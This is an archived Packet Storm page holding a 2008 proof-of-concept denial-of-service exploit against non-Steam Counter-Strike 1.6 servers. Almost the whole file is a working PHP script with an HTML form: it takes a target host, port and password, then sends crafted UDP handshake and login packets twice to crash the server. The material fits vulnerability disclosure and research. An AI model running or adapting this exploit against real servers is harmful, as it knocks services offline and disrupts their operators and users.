what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

halflife-dos.txt

halflife-dos.txt
Posted Jan 7, 2008
Authored by Eugene Minaev | Site itdefence.ru

Half-Life CSTRIKE Server version 1.6 denial of service exploit.

tags | exploit, denial of service
SHA-256 | 6aa7e1222d6a89877ce1486f4d33264868795f9e8cc41bdc3a723d7450e2800f
Download | Favorite | View

halflife-dos.txt

Change Mirror Download
----[  Counter Strike 1.6 Denial Of Service POC ... ITDefence.ru Antichat.ru ]

              Counter Strike 1.6 Denial Of Service POC
                Eugene Minaev underwater@itdefence.ru
              Bug was found by Maxim Suhanov ( THE FUF )
                works only with no-steam servers
        ___________________________________________________________________
      ____/  __ __ _______________________ _______  _______________    \  \   \
      / .\  /  /_// //              /        \       \/      __       \   /__/   /
      / /     /_//              /\        /       /      /         /     /___/
      \/        /              / /       /       /\     /         /         /
      /        /               \/       /       / /    /         /__       //\
      \       /    ____________/       /        \/    __________// /__    // /   
      /\\      \_______/        \________________/____/  2007    /_//_/   // //\
      \ \\                                                               // // /
      .\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / . 
      . \_\\________[________________________________________]_________//_//_/ . .
    
    <html>
    <head>
    <title>Counter Strike DOS POC (underwater@itdefence.ru) </title>

    <style type="text/css">

    input {
    width: 150px;
    }

    td {
    font-size: 12px;
    font-family: Verdana, "Trebuchet MS";
    text-align: left;
    }

    span.err {
    color: red;
    }

    span.ok {
    color: green;
    }

    </style>

    </head>

    <body onload="checkpass()">

    <div style="width: 210px; margin: auto;">
    <form name="csform" method="post" action="cs.php">

    <table border="1" align="center" cellpadding="2" cellspacing="0" style="width: 100%;">
    <tr>
    <td style="width: 50px;">Host</td>
    <td colspan="2"><input name="host" type="text" value=""/></td>
    </tr>

    <tr>
    <td>Port</td>
    <td colspan="2"><input name="port" type="text" value=""/></td>
    </tr>

    <tr>
    <td>&nbsp;</td>
    <td><input name="auth" type="checkbox" value="" style="width: 30px;"/></td>
    <td>Auth Type 2</td>
    </tr>

    <tr>
    <td>Pass</td>
    <td colspan="2"><input name="pass" type="text" value="" /></td>
    </tr>


    <tr>
    <td>&nbsp;</td>
    <td colspan="2"><input type="submit" Value="Run"/></td>
    </tr>


    </table> 
    <br/>
    </form>
    </div>
    <center>ITDEFENCE / RUSSIA (http://itdefence.ru)<br>
    </body>
    </html>

    <?php

    /*
    CS-dos exploit made by underwater 
    Bug was discovered by .FUF  
    Big respect 2 Sax-mmS ( for html ) , Focs ( for his cs server [IMG]http://www.softoplanet.ru/style_emoticons/default/biggrin.gif[/IMG] ) , SkvoznoY , Bug(O)R,Antichat.ru and Cup.su
    */

    ini_set("display_errors","0");

    function HELLO_PACKET()
    {
    $packet = pack("H*","FFFFFFFF");
    $packet .= "TSource Engine Query";
    $packet .= pack("H*","00");
    return $packet;
    }

    function CHALLENGE_PACKET()
    {
    $packet = pack("H*","FFFFFFFF");
    $packet .= "getchallenge valve";
    $packet .= pack("H*","00");
    return $packet;
    }

    function LOGIN_PACKET_4()
    {
    global $cookie;
    global $password;
    $packet = pack("H*","FFFFFFFF");
    $packet .= "connect 47 ";
    $packet .= $cookie.' "';
    $packet .= '\prot\4\unique\-1\raw\valve\cdkey\d506d189cf551620a70277a3d2c55bb2" "';
    $packet .= '\_cl_autowepswitch\1\bottomcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updaterate\30\mod';
    $packet .= 'el\gordon\name\Born to be pig (..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';
    $packet .= 'word\\'.$password;
    $packet .= pack("H*","220A0000EE02");
    return $packet;
    }

    function LOGIN_PACKET_2()
    {
    global $cookie;
    global $password;
    $packet = pack("H*","FFFFFFFF");
    $packet .= "connect 47 ";
    $packet .= $cookie.' "';
    $packet .= '\prot\2\raw\d506d189cf551620a70277a3d2c55bb2" "\_cl_autowepswitch\1\bott';
    $packet .= 'omcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updaterate\30\model\gordon\nam';
    $packet .= 'e\Born to be pig (..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';
    $packet .= 'word\\'.$password;
    $packet .= pack("H*","22");
    return $packet;
    }

    function dowork($host,$port,$password,$auth)
    {
    global $password;
    global $cookie;
    # connecting to target host
    $fsock = fsockopen("udp://".$host,(int) $port,$errnum,$errstr,2);
    if (!$fsock) die ($errstr);
    else 
    {
    # sending hello packet
    fwrite ($fsock,HELLO_PACKET());
    fread ($fsock,100);
    # sending chalennge packet
    fwrite ($fsock,CHALLENGE_PACKET());
    # recieving cookies
    $resp = fread($fsock,100);
    # grab cookies from packet
    $cookie = substr($resp,strpos($resp,"A00000000")+10);
    $cookie = substr($cookie,0,strpos($cookie," "));
    # sending login packet
    if (!$auth) fwrite ( $fsock,LOGIN_PACKET_4());else fwrite ( $fsock,LOGIN_PACKET_2());
    $resp = fread($fsock,100);
    }
    }

    IF (isset($_POST['host']) && isset($_POST['port']))
    {
    IF (empty($_POST['pass'])) $password = "123";
    else $password = $_POST['pass'];
    $fserver = $_POST['host'];
    $fport = $_POST['port'];
    if (isset($_POST['auth'])) $fauth = true;else $fauth=false;
    # we have to connect 2 times
    $result = dowork($fserver,$fport,$password,$fauth);
    $result = dowork($fserver,$fport,$password,$fauth);
    # parsing result
    echo "Exploit Sent";
    }
    ?>

----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory
About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information
Services
Security Services
Hosting By
Rokasec
close